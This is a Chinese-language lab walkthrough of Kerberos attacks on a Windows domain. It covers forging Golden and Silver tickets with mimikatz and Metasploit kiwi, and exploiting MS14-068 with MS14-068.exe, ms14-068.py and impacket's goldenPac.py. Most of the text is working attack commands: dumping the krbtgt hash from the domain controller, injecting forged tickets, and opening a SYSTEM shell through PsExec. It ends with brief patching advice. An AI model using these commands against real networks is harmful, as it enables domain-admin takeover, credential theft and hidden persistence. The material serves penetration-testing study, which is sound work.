前面讲到了Kerberos协议认证的原理: Kerberos协议认证过程 理论篇理解Kerberos协议认证的原理有
助于我们理解漏洞的利用原理。
黄金票据(Golden ticket)
黄金票据的出发点是在Client和DC交互这一过程的第一部分之中 AS会对通过验证的
Client发送AS_REP这里面包含了两部分:
第一部分是AS生成的临时密钥Session-key 然后使用Client的NTLM-Hash加密;
第二部分是使用用户Krbtgt的NTLM-Hash加密的Session-key(AS生成的时间戳以及
一些用户信息 也就是TGT
如果我们可以拿到Krbtgt用户的NTLM_Hash,我们就可以伪造TGT,能够绕过对任意用户的账号策略让
用户成为任意组的成员。可用于 Kerberos 认证的任何服务。
然而拿到Krbtgt用户的NTLM_Hash就意味着我们要拿到域控DC的权限。所以黄金票据(Golden ticket)更多情况下是
作为后门如果应为某种特殊的原因失去了对DC的控制权限,但是管理员没有修改Krbtgt用户的密码,那么就可以使用黄
金票据重新获得域管理员权限。
使用黄金票据来进行票据传递攻击的先决条件为:
域名
需要伪造的域管理员用户名
域SID
krbtgt的NTLM-Hash
kali's ip:192.168.137.115
win7's ip:192.168.137.198
windows server 2016(DC)'s ip:10.10.10.10
windows server 2012's ip1:10.10.10.11;ip2:192.168.137.115
使用mimikatz
我们通过mimikatz来抓取DC的Krbtgt用户的NTLM_Hash,首先先将mimikatz上传到D
在上传的过程中会被杀软杀掉,我模拟的环境中DC没有安装额外的杀软只附带了默认的
windows Defender。但是仍然会被杀掉
最后只剩下两个文件 但是依然可以正常使用
- privilege::debug
- lsadump::lsa /patch //专用于在域控制器上导出用户密码或hash
复制代码
由此我们可以得到
域SID:S-1-5-21-3960071969-2362883727-1949664287
krbtgt的NTLM-Hash:6e29949b6be5db95085477551f347ea0
再使用mimikatz生成TGT凭证
域名:com
需要伪造的域管理员用户名:administrator
域SID:S-1-5-21-3960071969-2362883727-1949664287
krbtgt的NTLM-Hash:6e29949b6be5db95085477551f347ea0
- //kerberos::golden /user:[username] /domain:[domain] /sid:[sid] /krbtgt:[krbtgt's Hash] /ticket:ticket.kirbi
- kerberos::golden /user:administrator /domain:g1ts.com /sid:S-1-5-21-3960071969-2362883727-1949664
- 287 /krbtgt:6e29949b6be5db95085477551f347ea0 /ticket:ticket.kirbi
复制代码
然后将mimikatz上传到windows server 2012,将凭证注入
- #kerberos::ptt <票据文件>
- kerberos::ptt ticket.kirbi
复制代码
可以用一下命令来查看注入的票据
一开始windows server 2012运行命令的情况如下、
注入票据后运行命令的结果如下
联动PsExec
psexec包含在pstools工具包中,pstools的下载地址:
https://download.sysinternals.com/files/PSTools.zip
参数解释
-accepteula:默认同意用户协议(即第一次使用询问是否同意用户协议
使用此参数则默认同意不会弹窗)
-s:返回一个system权限的shell如果不加此参数则返回一个管理员权限
administrator的shell
在使用Psexec执行远程命令时,会在目标系统中创建一个psexec服务。命令执行后 psexec服务将被自动删除
由于创建或删除服务时会产生大量的日志,可以在进行攻击溯源时通过日志反推攻击流程。
远程执行命令
- psexec.exe -accepteula \\WinSer2016 cmd.exe /c "ipconfig"
复制代码
反弹新的shell
- PsExec64.exe -accepteula \\WinSer2016 -s cmd.exe
复制代码
使用Metasploit
其实原理也是使用msf的mimikatz(kiwi),所以首先要先获得一个meterpreter
然后加载kiwi
kiwi的命令和mimikatz还是有点不一样的
- //golden_ticket_create -d [domain] -k [krbtgt's Hash] -s [sid] -u [username] -t [path] golden_ticket_create -d g1ts.c
- om -k 6e29949b6be5db95085477551f347ea0 -s S-1-5-21-3960071969-2362883727-1949664287 -u administrator
- -t /root/桌面/others/ntds.dit //查看本地储存的票据 kerberos_ticket_list //将票据注入内存 kerberos_ticket_use /root
- /桌面/others/ntds.dit
复制代码
白银票据(Silver ticket)
白银票据原理不同于黄金票据,白银票据不需要访问KDC而是通过已知的授权服务密码生成一张可
以访问该服务的TGT由于不需要使用KDC 所以隐蔽性较强。
使用白银票据的先决条件:
域名
域SID
服务账号的NTLM-Hash
要伪造的用户名
域控IP
可利用的服务
由于白银票据同样要使用到服务账号的NTLM-Hash而这个Hash大概率也是需要拿到DC的权限才可以获得
所以白银票据大部分情况下也是作为后门存在
使用白银票据伪造CIFS服务权限
CIFS:用于windows主机之间进行网络文件共享
首先将mimikatz上传到DC,获得机器账号的哈希值
- privilege::debug
- sekurlsa::logonpasswords
复制代码
注意,这个NTLM是机器WinSer2016的Hash,并非是用户administrator的Hash
NTLM:6cb7dce4a6c2ad0956bde89dc28b4310
SID:S-1-5-21-3960071969-2362883727-1949664287
注意:SID不取图片后面的-500
然后在windows server 2012生成白银票据
- //kerberos::golden /domain:[domain] /sid:[SID] /target:FQDN /rc4:[server's Hash] /servic
- e:[service] /user:[username] /ptt
- kerberos::golden /domain:g1ts.com /sid:S-1-5-21-3960071969-2362883727-194966428
- 7 /target:WinSer2016.g1ts.com /rc4:6cb7dce4a6c2ad0956bde89dc28b4310 /service:cif
- s /user:administrastor /ptt
复制代码
一开始是无法直接远程访问DC的
使用白银票据后就可以了
如果使用命令
- dir \\[computer's name]\c$
复制代码
不可以访问 可以尝试输入主机全名即主机名加域名
- dir \\WinSer2016.g1ts.com\c$
复制代码
MS14-068
之前的文章降到了PAC,以及PAC的作用简单来说就是微软为了防止拿到Hash就可以随意的访问任何的服务于是
引入了PAC,在AS_REP中会包含PAC,PAC里面包含了用户的 SID、用户所在的组等一些信息,在最后Client尝
试访问Server是,Server会将PAC扔给DC。让DC来判断此Client是否有权限访问Server。
但是在引入PAC的同时也产生了MS14-068这个漏洞该漏洞是位于kdcsvc.dll域控制器的密钥分发中心(KDC)服
务中的Windows 漏洞,它允许经过身份验证的用户在其获得的票证TGT中插入任意的PAC 。普通用户可以通
过改变了PAC的TGT来伪造票据获得管理员权限。
使用MS14-068的先决条件:
域内任意⽤户 SID
域内任意⽤户密码(经测试只能在 2008及以下的操作系统实现)
利用工具:WindowsExploits/MS14-068 at master · abatchy17/WindowsExploits (github.com)
利用环境
域控制器为window server 2008及以下(亲测)
首先我们需要域用户的用户名和密码
- username:testuser password:admin!@#456
复制代码
然后再获得域SID,可以使用这条命令
SID:S-1-5-21-3935027624-4034083410-82536497-1105
使用MS14-068.exe
(因为重新搭建了一个域控制器所以有一些设置和之前不一样)
然后通过利用工具成TGT票据
- MS14-068.exe -u [userName@domainName] -p [clearPassword] -s
- [userSid] -d [domainControlerAddr]
- MS14-068.exe -u testuser@test.com -p admin!@#456 -s S-1-5-21-
- 3935027624-4034083410-82536497-1105 -d 10.10.10.60
复制代码
成功生成名为
TGT_testuser@g1ts.com.ccache的票据文件 然后我们需要注入此票据文件
在没有注入前是无法远程访问DC的
//清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
kerberos::purge
//查看当前机器凭证
kerberos::list
//将票据注⼊到内存中
kerberos::ptc [file name]
使用ms14-068.py
下载地址:windows-kernel-exploits/MS14-068/pykek at ma
ster · SecWiki/windows-kernel-exploits (github.com)
WindowsExploits/MS14-068 at master · abatchy17/Win
dowsExploits (github.com)
- //python ms14-068.py -u 域用户名@域名 -s 域用户sid -d 域控ip -p域用户密码
- ms14-068.py -u testuser@test.com -p admin!@#456 -s S-1-5-21-3935027624
- -4034083410-82536497-1105 -d 10.10.10.60
复制代码
使用GoldenPac.py
这个脚本一直运行错误,所以没办法动手实践了所以就简单的记录一下使用方法
此脚本包含在impacket包中 为ms14-068和psexec的结合产物使用起来更加的方便
而且可以直接走代理进入内网
在windows下运行:
- //goldenPac.py -dc-ip 域控IP -target-ip 目标机IP 域名/普通域用户名:普通域用户密码@域控
- python3 goldenPac.py -dc-ip 10.10.10.10 -target-ip 10.10.10.12 g1ts.com/testuser:adm
- in!\@#456@WinSer2016.g1ts.com
复制代码
在kali上运行:
由于kali默认没有安装kerberos认证功能,说以需要手动安装一个kerberos客户端
- apt-get install krb5-user
复制代码
然后再使用
- //goldenPac.py -dc-ip 域控IP -target-ip 目标机IP 域名/普通域用户名:普通域用户密码@域控
- python3goldenPac.py -dc-ip 10.10.10.10 -target-ip 10.10.10.12 g1ts.com/testuser:admin
- !\@#456@WinSer2016.g1ts.com
复制代码
当然此工具不止是得到一个shell我们甚至可以直接让该域控运行我们上传的程序执行
一个empire stager或者一个msf payload都不在话下。
使用Metasploit
使用模块
- auxiliary/admin/kerberos/ms14_068_kerberos_checksum
复制代码
设置选项rhost设置为域控制器地址,user和password为域用户的用户名和密码
然后生成的文件会存放在/root/.msf4/loot文件夹下但是我们无法直接利用我们需要
使用mimikatz进行格式转换为kirbi文件
- kerberos::clist 20211012105258_default_10.10.10.10_wind
- ows.kerberos_215999.bin /export
复制代码
可以看得到导出的路径和文件名,然后将其拷贝回kali 待一会使用然后让目标机器上线msf
然后加载kiwi模块,导入刚才生成的票据
- kerberos_ticket_use /root/0-00000000-testuser@krbtgt-G1TS.COM.kirbi
复制代码
但是我怎么都导入不进去在网上找了很多篇文章发现大部分的文章都是导入不进去或者没过程的
如果导入成功就可以使用msf另一个模块
- exploit/windows/local/current_user_psexecset
复制代码
设置好session和rhost为域控制器地址就可以进行攻击了
防范
针对Kerberos域用户提权漏洞 有如下防范建议。
1.开启Windows Update功能 进行自动更新。
2.手动下载
补丁包进行修复。微软已经发布了修复该漏洞的补丁:https://technet.microsoft.com/library/security/ms14-068
3.对域内账号进行控制 禁止使用弱口令 及时 定期修改密码。
4.在服务器上安装反病毒软件 及时更新病毒库。